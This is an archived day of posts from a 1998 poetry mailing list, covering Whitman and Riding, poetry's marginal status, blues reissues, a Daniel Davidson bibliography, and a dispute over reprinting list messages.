Henry, is it balance? or ambivalence? (tension)? "these are not the me myself"--- a tension between the "self" which is REALLY an impersonal force (and the mistaking of this "impersonal force" for the "person" Walt Whitman may be why some call him megalomaniac) and the more brooding self that champions what Wordsworth would call obstinate questionings but is generally sad, desperate and pathetic (though these are not necessarily pejorative terms). Such is this dialectic, this unresolvable tension... -------- Since I've gotten into this 19th century groove (the class I'm teaching soon [adjunct salary toothless benefits]), I want to ask CAN ANYBODY SUGGEST A GOOD TRANSLATION EDITION OF GIACOMO LEOPARDI? I can't believe I haven't really read him before.... he seemed more fashionable in the 1920s in the USA than in any time since. Any help would be appreciated. CHris

On Tue, 10 Feb 1998, Henry Gould wrote:

> *On Tue, 10 Feb 1998 00:10:48 -0500 Louis Cabri said:*
>
> *What is the lineage of the "individual-unreal"?*
>
> *What if it were Whitman! Not "precipitant of the American character," as the standard critical reading has it, but he who differentiates between individualism, which "isolates," and "personalism," which "fuses, ties, and aggregates . . . fraternizing all" (_Democractic Vistas_). "Personalism" thus is not identical to personal expression.*
>
> *I've found numerous historical resonance for this word, but Whitman's usage, it seems, is distinct.*
>
> *Anyone who can help me would be very welcome.*
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> *You might also look at Whitman's singular use of the word "disintegrated" in Song of Myself. It means, I think, "given an identity" (in the cosmos) by being "de-integrated" - separated, precipitated-out, of the whole. I think Whitmans's style is based on a balance between the particular, the individual, and the whole - the balance gives it that "anonymous" character which is one sign of real poetry... - Henry G.*

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380. **sean bonney**
Poetry is not a subculture
Tue 10 Feb 1998

---

re Henry Gould's posting on 5th Feb re the task of crit, particularly the upper case rant ending POETRY IS NOT A SUBCULTURE

Firstly, whats so bad about being a subculture when the dominant one is so banal, and in that banality so brutal (check the current shituation viz Clinton & the UKs own glorious ambassador of idiocy Blair)

Anyway, Henry's notes got me thinking about the marginal position we often find ourselves in. It should be clear to everybody that the way poetry is taught in school puts most people off - these people aren't just 'outside' poetry, a lot of them actively dislike it - seen as elitist and irrelevent, the residue of a best forgotten culture that existed pre-MTV etc, containing no joy fun or pleasure, which are surely among the main reasons that we all got involved in the first place. Result is, post-school a lot of people are disinclined to go to poetry because it carries too many school-time horror memories. Here in Britain you find undergraduates who still define a poem as something that rhymes.

Fine, forget em, we're not in the business of mass markets anyway, and maybe elitism isn't that bad after all, if the alternative is such spectacles as the massed ranks of the Tory Party singing Blake's lyrics as emblems of bigotry, capital etc - all the stuff that Blake loathed.

It seems to me that people see poetry as a joke because they don't know what it is; the most pleasure I've got from my own readings is folks coming up afterwards saying they usually hate poetry but loved mine (make of that what you will!). A lot of people are THREATENED by the perceived difficulties etc, and react accordingly.

It isn't a case of us learned poets against the philistine world; its just that much of what we say only has interest to each other, hence a discussion group like this. Example: photographs of deep space engage me more than anything else, but if someone in the pub starts talking about the finer points of astro-physics my eyes glaze over.

Lets not forget that this is always the position that poets have been in. Blake and Shelley were small press activists. Its just now perhaps the situation is more complicated - self consciousness produced by media etc etc. Sometimes in the info-babble that we're all a part of it seems the only possible option is an ironic silence (Rimbaud pissing in the shadows) - but even thats useless, stand there silently and no-one will notice, you'll just end up getting run over by a truck.

[redacted]

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381. **sean bonney**

Missing persons

Tue 10 Feb 1998

Can anybody give me some info on Claude Pelieu. I know that
he published a couple of things with Beach Books in the
60s, and was associated with Burroughs.

Anybody know anything since then? Is he still active? Is he still alive?

[redacted]

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382. **Pierre Joris**

Re: Missing persons

Tue 10 Feb 1998

Claude Pélieu & Mary Beach are well and alive in upstate New york (well, Claude is a bit the worse for the wear; Mary, closing in on eighty is doing wonderfully -- making collages every day -- both are in fact the last great collage-artists of the age). Claude has done mainly visual work in the last few years (many hundreds of collages, even though arthritis in the hands is making the scissor work difficult), though there is also a fair amount of writing writing: I am editing a Selected Pelieu right now. A number of small press books have come out in France these last 10 years. Obviously, last year's disappearance of AG & WSB hit them hard.

Pierre

sean bonney wrote:

> *Can anybody give me some info on Claude Pelieu. I know that*
> *he published a couple of things with Beach Books in the*

> *60s, and was associated with Burroughs.*
>
> *Anybody know anything since then? Is he still active? Is he still alive?*
>
> ---
> [redacted]

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

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383. **Hank Lazer**
Re: john kinsella
Tue 10 Feb 1998

Would someone please back-channel a current e-mail address for John Kinsella? I've tried sending to [redacted] and the message gets bounced back.... Thanks.

Hank Lazer
[redacted]

↑ Index

384. **Lisa Samuels**
Re: INDIVIDUAL-UNREAL
Tue 10 Feb 1998

---

dear chris & louis,

yes, it's right to set aside the notion of an oppositional matrix, or at least binary, between "real" and "unreal". i'd say riding wants "collective-real" and "individual-real" to tango or tangle together so that "individual-unreal" can have the rest of the thought space. she performed a similar operation with "become" and "becoming", setting them alongside or opposite each other so that they could struggle publicly while the more important fact of "UNBECOMING" might be what individual-unreal selves were striving toward.

while i have not seen an exact predecessor for "individual-unreal", louis, such terms were being used by an assortment of such odd contemporaries as wyndham lewis, in the context of coming up with vocabularies to fight "the historical sense" and the individual in the queue of tradition, etc. riding explicitly addresses (& disapproves of) lewis, still caught in the "real" according to her.

i think your formulation of asking what poetry can do for words is a good one, chris -- and what it can do for humans, of course, too, in their efforts to be perfectly understood for and by one another. looking straight into the eye of the impossible. odd that she always reminds me of kathy acker's way of putting it, given how riding would disapprove of this: "the demand for an adequate mode of expression is senseless." nothing is enough.

lisa

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385. Mark Prejsnar
Broaden yr horizons
Tue 10 Feb 1998

I seldom stray off poetix here, and when I do it's for the sake of politix.

But country blues is a major passion of mine, so in the wake of several mentions of Robert Johnson, let me just drop this...

Possibly 5,000 tracks of interest were recorded between 1927 and 1940, that could be called country blues or closely-allied urban blues, such as boogie piano and piano-based blues vocals. The extent to which Johnson is the only artist people've heard of, is frightening. A whole lot of this stuff is available on reissues. Just to name the darker more brooding types, who'd appeal to Johnsonites, check out most anything by:

Barbacue Bob
Blind Willie McTell
Charlie Lincoln (typically chauvinist, I start with Atlanta artists)
Peg Leg Howell
Charley Patton
Tommy Johnson
Bukka White
Memphis Minnie
Peetie Wheatstraw
Sleepy John Estes
Son House

Henry Thomas
Blind Lemon Jefferson

This list suggests a couple of things, of course: country blues was dominated by men, women having strongly dominated the jazz/vaudeville-related "composed" blues of 1919-1929, typified by Bessie Smith and producer/bandleader/composers like Handy. (Much beyond Smith is worth listening to in that genre also, by the way) Nonetheless, Memphis Minnie, with hundreds of 78s to her name, was a truly dominant figure, the most imaginative of blues songwriters and famous for the brilliance of her guitar work. (Her three successive husbands were all major blues singer/guitarists, and were always her prime collaborators in person and on record; but it was always quite clear that she was the prime artist.)

Second, this list mostly excludes trends outside the "deep blues".. Such as East Coast and much of Texas and Memphis and "Bluebird beat" and jug bands. Most of those trends are more uptempo and "good-timey" and that puts off some blues fans I know. But in my opinion they represent some of the best pop music ever produced in the US or anywhere else, with formal range and fascinating lyrics replacing pure somberness. Not to mention *energy* (Peter Guralnick writes accurately that the great jug bands were "the rock and roll bands of their time," and the parallel is quite exact for conveying the kind of rush they provide.)

Third, how can a poet resist a genre where making up your nom du disque was itself to compose a sort of mini-poem?? (see list above)

(There were lots more women in country blues besides Minnie, by the way, but unfortunately most only had one or two 78s released, and so you need to seek 'em out on various muti-artist compilations.)

Mark P.

↑ Index

386. **MAYHEW**

A recently discovered poem by Mme Breton

Tue 10 Feb 1998

My husband with the ingrown toenail of a scorpion.
My husband with the superego of a protestant preacher,
with the ego of an Argentine city,
with the id of a Paris Brothel.
My husband with the homophobia of a scared rabbit.
My husband with the necktie of a surrealist.
My husband with suspenders of Derridean deconstruction.

My husband with eyebrows of caviar and earwax of votive candles.
My husband with armpits of Lithuanian landfills.
My husband with the sexual politics of a Trotskyite baboon circa 1938.
My husband with the sexual politics of a poet.
My husband with the sexual politics of a Mormon polygamist.
My husband
My husband
My husband

forgive the lameness of this effort.

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas
[redacted]

↑ Index

387. **rsillima**
44 Freud
Tue 10 Feb 1998

---

44 was the uniform number chosen by Henry Aaron, Willie McCovey and Reggie Jackson (the latter two in homage to the first), none of whom ever played in Japan a la Cecil Fielder, Don Blasingame or other US baseball players trying to stretch out or pump up stalled careers (fewer players have followed the path of Warren Spahn and George Brunet (who pitched until he was nearly 50) by going to Mexico instead). I forget what Spahnie's number was, although I did see him pitch once as an SF Giant (this was before Mexico) in addition to many times in a Milwaukee uniform. Still, my favorite post-US-major league event remains Louis Tiant's stint in the short-lived Senior Baseball League where he was traded from one team in Florida to another in return for 500 stuffed teddy bears.

I have too many friends who are Freudian analysts to treat as casually as I've seen here, although its problematics could take a generation of careers to fully explore. One thing that the Freudians did which has had a huge impact in the US was to keep certification away from the university system as such (Dale Smith would approve) by setting up their own institutes. One thing this did was guarantee that there was no professor on campus who was ever the "official" Freudian in the psych department, which in turn meant that anybody in any department could volunteer for that social role, including, back when I was a student at UC Berkeley, Freddy Crews, a shallow opportunist who was widely

regarded as in the sweepstakes for most boring professor in the department (Mark Schorer and Tom Parkinson competed as well and I always thought that Schorer won out simply because he'd had a 20 year head start on Crews and 10 on Parkinson) -- Crews used to teach a literature and ideology course that was a tribute to predictability and certainly never thought to try reading "unideological" texts in those terms. Anyhow, Freudianism as an ism became both a free floating signifier of the worst sort on every campus AND has become, as a formal system among professional analysts who are painfully aware of their outsiderness to the university system, fairly defensive. It's a system in which trying to think clearly or even halfway intelligibly about Freud's limits (as well as strengths) is all but impossible, though I am sure that there are careers to be made in the trying. Rethinking Marx is not dissimilar as a project beset with problems at the moment, as in The Work of Art in the Age of Hypertext etc.

But I think the real lesson to be drawn from the Freudian adventure in the US has been what it's revealed about how universities function when a major trend in social analysis (and you never had to agree with any of Freud to see it was at least that) is set loose under those special terms.

That's why I think it's so important that we stress, over and over, that the legitimation of poetry is something that occurs OFF campus, typically in the major urban areas but inevitably not in the MFA programs or the various anglophile critical programs (the latter these days falling all over themselves to tell us just how fab fab fabulous the new Ted Hughes' collection of necromancy is).

Louis, thanks for the exact details re the Archives and the list -- I think that tends to point out the nature of the discourse here rather well. As I've said before, if there are 500 folks "subscribed" and a max of 50 messages possible per day, people should think very hard before posting more than one.

Ron (still has pneumonia after 46 days) Silliman

↑ Index

388. **Hank Lazer**

Re: Kinsella - e-address

Tue 10 Feb 1998

Thanks one & all. I've received John Kinsella's correct e-mail address....

Hank Lazer

↑ Index

389. Scott Pound
Re: spraying the communities
Tue 10 Feb 1998

I think Pierre Joris should post the page of his intro to Blanchot's book on community if only because it is one of the best lessons in translation there is.

Scott Pound

↑ Index

390. Gary Sullivan
Daniel Davidson - Partial Bibliography
Tue 10 Feb 1998

Hello, Joel, Nick, & others:

Thanks everyone who backchanneled & Nick, for your post. Also, thanks to everyone who posted various Eastern-filtered readings of 44. I'll post an "official" call for work on Dan's life & art in the next couple of days.

As per Joel's request, what follows is a list of some of Daniel Davidson's work. I'll start with _culture_, listing the books that make up that longpoem, in the sequence Dan had planned for them. Following that are lists of all published books and all works published in magazines through 1991. I've been sick for several days plus had to move from the Bronx to Manhattan, and then from Manhattan to Brooklyn, so what follows is by no means complete. It hopefully gives you a lot to look for until I've put together a more complete list, which I'll probably send to the EPC rather than posting (& post to say it's there.) (Joel: see, esp., his review of Collobert's _It Then_--I seem to remember you mentioning w/interest Collobert's work.)

culture
"Product"
"Bureaucrat, my love."
"An Account"
"Transit"
"Image"
"Desire"
"Anomie"

PUBLISHED BOOKS

Product, e.g. press (1991) -- e-mail me for more info
Weather, Score (1992) -- e-mail Crag Hill ([redacted]) for more info
Image, Zasterle (1993)
Absence Sensorium, with Tom Mandel, Potes & Poets (1997)

WORK PUBLISHED IN MAGAZINES (THROUGH 1991)

1984 Beatitude "The Months of Winter" "Gift"

1985 If "And the sun is falling"

1986 If "Stigmata of the Verb To Be" "Something"

If "Negotiations"

1987 Alchemy "Incident"

Ironwood 29 "Notes on a New Architecture" "Calculation to Zero"

Athena Incognito "Stigmata of the Verb To Be" "Estimates"

Transfer 53 "Small Journey"
"Necessary Conditions"

1988 Athena Incognito "Pleasures of the Flesh"

Ink 2 (SF) "Correspondence"
"And the sun is falling"

NRG 29 "Involvement"

Transfer 54 "Divertimento"
"In Via Nuova"

1989 Dead Fish "Dead Fish"

Ink 3 (SF) "Negotiations"

Polaritz Etzeztz "Negotiations"

Polaritz Etzeztz from _Weather_

1990 Central Park 17/18 from "Collected Works"

Hole 2 from "Shine"

O.ARS 5 from "Shine"

Stifled Yawn 1 from "Product"

Writing 25 from "Long Division"

1991 Aerial 5 from "Long Division" Review, "If There Is A Body, I Am It." _It Then_, by Danielle Collobert

Anderson Valley "Ode to Corporate Bungholes" Advertiser

Avec 4 from "Transit"

Cyanosis 1 from "Image"

Hambone 9 Review "Diversity, Reference and the Expanded Voice." _Lucid Interval as Integrated Music_, by Ed Roberson

Lift 6 From _Weather_

Lift 7 From "Long Division"

Talisman from "Transit"

↑ Index

391. **Bob Grotjohn**

Re: 44 Freud

Tue 10 Feb 1998

[redacted] wrote:
>
> 44 was the uniform number chosen by Henry Aaron, Willie McCovey and Reggie
> Jackson (the latter two in homage to the first), none of whom ever played in
> Japan

And they are still alive. Being baseball immortals, I suppose they will ever die. At least their numbers won't.

While in this non sequitorial realm--here is my favorite baseball poem:

Gertrude Stein on the designated hitter (I don't think she likes it, but
I am not sure) and other baseball stuff
(Stanzas in Meditation, #IX)

How nine
Nine is not mine
Mine is not nine
Ten is not nine
Mine is not ten
Nor when
Nor which one then
Can be not then
Not only mine for ten
But any ten for which one then
I am not nine
Can be mine
Mine one at a time
Not one from nine
Nor eight at one time

For which they can be mine.
Mine is one time
As much as they know they like
I like it too to be one of one two
One two or one or two
One and one
One mine
Not one mine
As so they ask me what I do
Can they but if they too
One is mine too
Which is one for you
Can they be like me
I like it for which they can
Not pay but say
She is not mine with not
But will they rather
Oh yes not rather not
In won in mine in three
In one two three
All out but me.
I find I like what I have
Very much.

--
Bob Grotjohn

↑ Index

392. **louis stroffolino**
Re: Missing persons
Tue 10 Feb 1998

Isn't pierre joris's cat named after Pelieu? chris

On Tue, 10 Feb 1998, sean bonney wrote:

> *Can anybody give me some info on Claude Pelieu. I know that he published a couple of things with Beach Books in the 60s, and was associated with Burroughs.*
>
> *Anybody know anything since then? Is he still active? Is he still alive?*
>
> ---

[redacted]

↑ Index

393. **Mark Prejsnar**
ocratic meditation
Tue 10 Feb 1998

As per Ron, I have thought hard, and am posting my second message of the day....

I strongly recommend -ocracy: parts 1-4 by Peter Ganick and Sheila Murphy (Norman OK : Texture Press, 1997).

This has been my favorite rush-hour reading for the past few days. Its swoop and verve and pointed changes of image-center keep me rivited, and make bus-commuting fade into the background. It'll be too paratactic for some of our commonsensepods; but this is really fine writing and fun writing. It's verse, which mutates its grain and tempo between sections; kinda like the traditional approach to different tempi between movements of a classical piece. (..but not as drear and plodding in execution as the sleepy Possum) The center shifts relentlessly like Ron himself; but less social surface and more of the roil and smoke underlying awareness, the tumult of how awareness clashes with our violently disunified culture. Not enuff center?? Imitative form notwithstanding, scattershot effect (scattershot intention?) would be the main fault in the piece.

It sounds great read aloud and is pretty funny too. Barbara Hocker's minimalist cover art is appropriate and amusing as well.....

Mark P.
@lanta

↑ Index

394. **David Kellogg**
Re: query
Tue 10 Feb 1998

Maria, you've probably got this by now, but: "The Song of the Borderguard" was published in _A Book of Resemblances_ and appears again in _Selected Poems_, ed. Robert J. Bertholf(New York: New Directions, 1993), pages 22-3. I don't know if the page reference changes for the revised edition of the Selected.

Cheers,
David
~~~
~~~

David Kellogg Duke University
[redacted] Program in Writing and Rhetoric
[redacted] Durham, NC 27708
FAX [redacted] http://www.duke.edu/~kellogg/
-----Original Message-----
From: Maria Damon <[redacted]>
To: [redacted] <[redacted]>
Date: Monday, February 09, 1998 2:37 PM
Subject: query

> *i'm far from my library alas, and from good bookstores. can anyone quick give me a citation for robt duncan's "song of the borderguard"? muchos appreciados. --md*

↑ Index

395. **p. durgin**
Re: Broaden yr horizons
Tue 10 Feb 1998

On country blues, American folk music, the best place to begin, I think, is with "Before the Blues" vol.s I - III, on the yazoo label. I happen to work in a c.d. shop which specializes in these genres, so let me know if I can help. Also, "American Primitive" on the Reverent label. That is, raw gospel 78's.
Patrick F. Durgin
`
`
`
` ----->*<-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

↑ Index

396. **Aldon Nielsen**
Re: O List-Master
Tue 10 Feb 1998

I suppose the term "listserv" might convey some sense of mastery, but . . .

a bit of "creative" appropriation might have been considerably more interesting -- but, call me old fashioned and orthodox, I am of the opinion that reprinting people's email posts with no notification fits poorly with the pose adopted ("how firmly fastened are your walls" etc.) -- Isn't this the same person who criticized people for speaking of Tom Clark outside his presence????

No, forgive us, Oh Dale, for having thought to converse with you openly and, we thought, honestly.

↑ Index

397. **Pierre Joris**
Re: Missing persons
Tue 10 Feb 1998

louis stroffolino wrote:

> *Isn't pierre joris's cat named after Pelieu? chris*

Claude?-- No that was Dorn's horse's first name.
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

↑ Index

398. **Mark Prejsnar**
Re: Broaden yr horizons
Tue 10 Feb 1998

Well, no this isn't that necessary "a place to begin.." You can really begin anywhere, depending on what type of blues you lean toward...It is not a genre that needs a detailed introduction

However, Yazoo is the premiere label for reissues. For completeness, there are now dozens of specialty labels, many of 'em excellent, like Blues Classics, Document etc. These can't be found in many stores. The best way to find out about them is to get on the mailing list of an outfit called Roots & Rhythms (details on

demand); unless of course you live in Boston, then you can mosey over to Cheapo Records in Central Square, like generations before you.

You can also use a local bookstore or library to read the detailed essay/notations in the Blackwell Guide to Blues Records; I have the first edition, edited by the dean of blues scholars, Paul Oliver. A brand new 2nd edition is just out and I can't vouch for it as I haven't seen it, but it's probably just as solid.

On Tue, 10 Feb 1998, p. durgin wrote:

> *On country blues, American folk music, the best place to begin, I think, is with "Before the Blues" vol.s I - III, on the yazoo label. I happen to work in a c.d. shop which specializes in these genres, so let me know if I can help. Also, "American Primitive" on the Reverent label. That is, raw gospel 78's.*
> *Patrick F. Durgin*
>
> `
> `
> `
> ` -----><-----
> ` *K E N N I N G*|
> ` *anewsletterof*|
> ` *poetry&poetic*|
> ` *s418BrownSt.#*|
> ` *10IowaCityIA5*|
> ` *2245USA\/\/\/*|

↑ Index

399. Aldon Nielsen
doings in LA
Tue 10 Feb 1998

---

last Thursday at Loyola Marymount University an unexpectedly huge crowd turned out for a reading by Juan Felipe Herrera -- hit of the evening was a poem titled "Foodstuffs They never Told Us About" -- a poem whose origins were Herrera's long-term desire to use the word "foodstuffs" in a poem.

Herrera read mostly from a new manuscript titled "Don't Worry, Baby." Random lines transcribed from the title poem:

I worry about exotic birds learning too much English.
I worry about the Governor's face muscles.
I worry about the return of folk singers.
I worry about people who use the word "folk."
I worry about Spielburg's next ethnic movie.

I worry about drive-by's low on gas.
I worry about Beijing doing Elvis.
I worry about Russian women becoming rednecks.
I worry about poets who believe in publishing.
I worry about the word "alien" becoming too familiar.
I worry about the ass on the other side of the glass ceiling.
I worry about performance art going into the poetry business.
I worry about copycat do-gooders.
I worry about insurance agents posing as poets.
I worry about the complexion of beans.
I worry about VFW halls that have Taco Thursdays.
I worry about rappers entering a spelling bee.
I worry about guys locked up so they can write.

Herrera'a new book of prose, _Mayan Drifter_, is out from Temple University Press.

next up here -- David Bromige and Michael Davidson. Will announce date and time in a few weeks.

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400. Aldon Nielsen
Re: Broaden yr horizons
Tue 10 Feb 1998

can we get address or other info on Reverent records,,, that collection of gospel 78s sounds like something I'd like to get my hads on

↑ Index

401. Dale M Smith
Re: O List-Master
Tue 10 Feb 1998

Well, I did seek forgiveness... But the difference is that I said nothing in my magazine against anyone. All dialogue comes from each person's own mouth. My editorial concern was to represent a single thread that took place re the editorial practice of Mike and Dale's. As I stated in my intro I wanted to broaden the audience for this extremely lively group of exchanges.

By the way, my new email account doesn't give individual names with each post. I only know for sure who is writing when the post is signed. But I have a feeling, due to his brilliant ability to sniff out thin contradictions and to gauge levels of honesty, that I am replying to Aldon Nielson. Well, I'm glad you're interested in the magazine. If you, David Bromige, Susan Schul tz, Hugh

Steinberg, Simon Schuchat, Maria Damon, Robert Drake, Mark Weiss, Sylvester Pollet and Eliza McGrand will backchannel me with your addresses I'll be sure to send one off to you (send $5 and I'll put you on the list for #8!). *Honestly* it's a very interesting exchange. I've already sent copies to Dodie, Kevin and Juliana. Thanks for staying on me though to get these out to the others.

Dale

To: [redacted]

I suppose the term "listserv" might convey some sense of mastery, but . . .

a bit of "creative" appropriation might have been considerably more interesting -- but, call me old fashioned and orthodox, I am of the opinion that reprinting people's email posts with no notification fits poorly with the pose adopted ("how firmly fastened are your walls" etc.) -- Isn't this the same person who criticized people for speaking of Tom Clark outside his presence????

No, forgive us, Oh Dale, for having thought to converse with you openly and, we thought, honestly.

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402. **Aviva Wesley Vogel**

Re: Broaden yr horizons

Tue 10 Feb 1998

In a message dated 98-02-10 15:54:00 EST, you write:

<< Roots & Rhythms (details on demand); >>

Yes, I'd love those details!!

↑ Index

403. **Miekal And**

in queue

Tue 10 Feb 1998

I dont have ron's email infront a me anymore, but Ive a different desire with this list, with spending time with the energetic presence different voices project outward here. so Im thanksful for a rush of henry spandrift blarnesian cracker-box collectibles, I relish it when there's a stepping forward to say what you gotta say. & I dont believe that the 50 a day limit is throttling any voice that wants to pump it up, as all messages go in queue, & theoretically we could get a very interesting poetics list timewarp going, if we were all now reading & responding to messages from 3 days or 3 weeks or 3 years ago, does it really matter....

miekal

ron my lover here is battling pnemonia & you gotta get the chi going with lotsa of the chinese tonic roots, osha, garlic, & after you feel better, give it that much time more of rest, otherwise it dont go away...

↑ Index

404. Miekal And
in queue
Tue 10 Feb 1998

I dont have ron's email infront a me anymore, but Ive a different desire with this list, with spending time with the energetic presence different voices project outward here. so Im thanksful for a rush of henry spandrift blarnesian cracker-box collectibles, I relish it when there's a stepping forward to say what you gotta say. & I dont believe that the 50 a day limit is throttling any voice that wants to pump it up, as all messages go in queue, & theoretically we could get a very interesting poetics list timewarp going, if we were all now reading & responding to messages from 3 days or 3 weeks or 3 years ago, does it really matter....

miekal

ron

my lover here is battling pnemonia & you gotta get the chi going with lotsa of the chinese tonic roots, osha, garlic, & after you feel better, give it that much time more of rest, otherwise it dont go away...

↑ Index

405. KENT JOHNSON
Private property
Tue 10 Feb 1998

The idea that Dale "pirated" material by printing e-mails in the feisty Mike and Dale's Younger Poets from a list discussion relating to _that same magazine and its editorial policy_ strikes me as a bit ridiculous. Obviously, if these had been private communications Dale would have needed permission to reprint, but anything that appears here is already freely available to millions and should just be thought of as in the public domain. Why not? If Dale did something wrong by doing what he did then so did Postmodern Culture when it reprinted posts of a rather "personal" nature from the discussion here after Allen Ginsberg's death. Some of my own words are in there and nobody contacted me-- should I consider calling the lawyers?

Kent

↑ Index

406. **k. lederer**
Re: "Indie Critics," Evans, Rod Smith, baloney--
Tue 10 Feb 1998

> *Henry--*
>
> *I think that by far the best "criticism" of a poem is a new poem--*
>
> *As far as the Evans article--I don't think of it as "criticism" so much as "elucidation"--*
>
> *Perhaps the young/old thing is an old and oft-addressed problem--but it doesn't mean that it doesn't need re-stating generation after generation--*
>
> *And Evans states it beautifully--in beautiful language--*
>
> *And clearly--in terms that I can understand--*
>
> *I LOVE HIS ESSAY!*
>
> *And thank god for the mental blinders--otherwise I might be blinded by your utter brilliance--*
>
> *Yours,*
> *Katy L.*
>
> ***
>
> *On Wed, 4 Feb 1998, henry gould wrote:*
>
> *On Wed, 4 Feb 1998 13:41:44 -0600 k. lederer said:*
> *The implications for younger writers here are astonishing--*
>
> *That perhaps "older" writers--even those of the avant-garde variety--may also be unable to fully "see" (perceive is probably a better word) the "new" in the younger generation's works--*
>
> *Perhaps the "older" writers might claim that the young ones are "lazy," "apathetic," etc. (sound familiar?), because they cannot "see" the work that goes into simply "emerging"--*
>
> *Evans doesn't make such arguments explicitly--but I think these analogies*

are more than available (particularly in light of the postscript in which he basically credits such writers as Brown, Jarnot, Moxley, Spahr, Stroffolino, and Rothschild for, in some regards, freeing "the avant-garde" from the aesthetic prison (not intentionally a prison, but an effective one none the less) of Langpos. Breaking out of prison is hard work! And usually happens when no one is looking.

In other words, I think that this essay represents PRECISELY the kind of criticism that "Rod Smith's Generation" might need--

Katy, I'm glad you got something out of that essay; he's a snazzy writer. But you don't need a dress-up of Hegel & Marx for the precisely OLD idea (I mean like, old since Greek & Roman times) that the old fogies won't be able to understand the youngsters. Maybe it's just that a card-carrying "youngster" is saying it for you (& insists on harping on the "generation" thing just so you don't forget)... My point was that such advocacy is only a beginning, if anything.

I think you need to open the mental blinders. Critic does not necessarily = "mainstream establishment person out to judge us by outmoded standards of (baloney) taste". That is a cartoon of a critic. In my mind, critic = "somebody who loves poetry enough to dig into it backwards & forwards, past & present, and say something intelligent (if subjective) about the style, mindset, aims, effects, contradictions, connections, strengths, imitations, originalities, meaning, impact, development... etc of what s/he reads". I don't think of standards as a set of hoary rules; I think of standards as the feel of a good ear for syntax, sound, meaning, and complexity. Wouldn't you rather read some of this than various gang-approval ratings, blurbs, or tossed-off empty retchings which pass for "criticism?" THAT IS ALL I'M SAYING.

***

...I am speaking as a poet who has played by what I consider the rules for over 30 years. My rules are: do the poem. Send it to magazines & contests. Think about what you are doing - maybe write an essay about it. That's it. In my experience "doing the poem" has absorbed the energy. Maybe I am a fanatic, or a hedgehog in Isaiah Berlin's sense, or a totally introverted recluse.

These rules seem to contradict each other, Henry. Sending to mags and contests doesn't absorb any energy? Do introverts write lots of essays? Send to contests? (Emily--)

All I meant was, MOST of my energy (like 98%) goes into DOING the poems (until I joined this list [sigh]). Does anybody know what I look like? Seen me gladhanding at conferences? Reading anyplace outside Providence? Published much? (these are rhetorical questions) Maybe it's because I only write haiku about buffalo - that could be it. I'm also not a prof,

> *not a writing teacher, not a grad student, not a novelist, not a journalist, not a professional poet, not a performance artist; the only wannabee I am is wannabee out on the road again with my guitar - but then I really would have to be running from the law. Ask Jack about that.*
>
> *It seems to me that "taste, judgement, freedom, and artistic instinct" are also forms of baloney.*
>
> *Yes, the word "taste" always leaves a bad taste in the mouth. I like baloney better myself. But judgement, freedom, artistic instinct... there they go now, off to the next reality... all words become dust through repetition... anything can be turned into a joke... "the laughter of fools is like fire crackling under a pot" [Proverbs].*
> *- Henry Gould*

↑ Index

407. **Aldon Nielsen**
Dan Davidson
Tue 10 Feb 1998

---

whoever was collecting Dan's work --

sorry I didn't get the message saved, with the names attached --

I have audio tape of Dan reading from the radio program I used to do -- Would be happy to dupe the tape for you if you'd like a copy --

↑ Index

408. **Thomas Bell**
Re: colding & heating
Tue 10 Feb 1998

---

ou might want to look at Italo Calvi9no's _Six memos for the next millenium_ Perhaps, Leopardi is ready for a comeback. tom bell

At 08:25 AM 2/10/98 -0500, louis stroffolino wrote:

> Since I've gotten into this 19th century groove (the class I'm
> teaching soon [adjunct salary toothless benefits]), I want to
> ask CAN ANYBODY SUGGEST A GOOD TRANSLATION EDITION OF GIACOMO
> LEOPARDI? I can't believe I haven't really read him before....
> he seemed more fashionable in the 1920s in the USA than in any

> time since. Any help would be appreciated. CHris
>
>On Tue, 10 Feb 1998, Henry Gould wrote:
>
>> On Tue, 10 Feb 1998 00:10:48 -0500 Louis Cabri said:
>> >
>> >What is the lineage of the "individual-unreal"?
>> >
>> >What if it were Whitman! Not "precipitant of the American
>> >character," as the standard critical reading has it, but he who
>> >differentiates between individualism, which "isolates," and
>> >"personalism," which "fuses, ties, and aggregates . . .
>> >fraternizing all" (_Democractic Vistas_). "Personalism" thus
>> >is not identical to personal expression.
>> >
>> >I've found numerous historical resonance for this word, but
>> >Whitman's usage, it seems, is distinct.
>> >
>> >Anyone who can help me would be very welcome.
>>
>> You might also look at Whitman's singular use of the word "disintegrated"
>> in Song of Myself. It means, I think, "given an identity" (in the cosmos)
>> by being "de-integrated" - separated, precipitated-out, of the whole.
>> I think Whitmans's style is based on a balance between the particular,
>> the individual, and the whole - the balance gives it that "anonymous"
character
>> which is one sign of real poetry... - Henry G.
>>
>
>

↑ Index

409. **Thomas Bell**
Re: 44 baseball poems
Tue 10 Feb 1998

I think Spahn was 21. He aslo is in one of the most famous baseball poems, "Spahn and Sain, and two days rain." - although it might be forgotten now. If there is a run on Brave (Milw) numerology, what were the numbers of Burdette, Buhl. Crandell, Bruton,....? tom bell

At 09:23 AM 2/10/98 -0600, [redacted] wrote:
>44 was the uniform number chosen by Henry Aaron, Willie McCovey and

Reggie
>Jackson (the latter two in homage to the first), none of whom ever played in
>Japan a la Cecil Fielder, Don Blasingame or other US baseball players trying
>to stretch out or pump up stalled careers (fewer players have followed the
>path of Warren Spahn and George Brunet (who pitched until he was nearly
50)
>by going to Mexico instead). I forget what Spahnie's number was, although I
>did see him pitch once as an SF Giant (this was before Mexico) in addition
>to many times in a Milwaukee uniform. Still, my favorite post-US-major
>league event remains Louis Tiant's stint in the short-lived Senior Baseball
>League where he was traded from one team in Florida to another in return for
>500 stuffed teddy bears.
>
>I have too many friends who are Freudian analysts to treat as casually as
>I've seen here, although its problematics could take a generation of careers
>to fully explore. One thing that the Freudians did which has had a huge
>impact in the US was to keep certification away from the university system
>as such (Dale Smith would approve) by setting up their own institutes. One
>thing this did was guarantee that there was no professor on campus who was
>ever the "official" Freudian in the psych department, which in turn meant
>that anybody in any department could volunteer for that social role,
>including, back when I was a student at UC Berkeley, Freddy Crews, a shal-
low
>opportunist who was widely regarded as in the sweepstakes for most boring
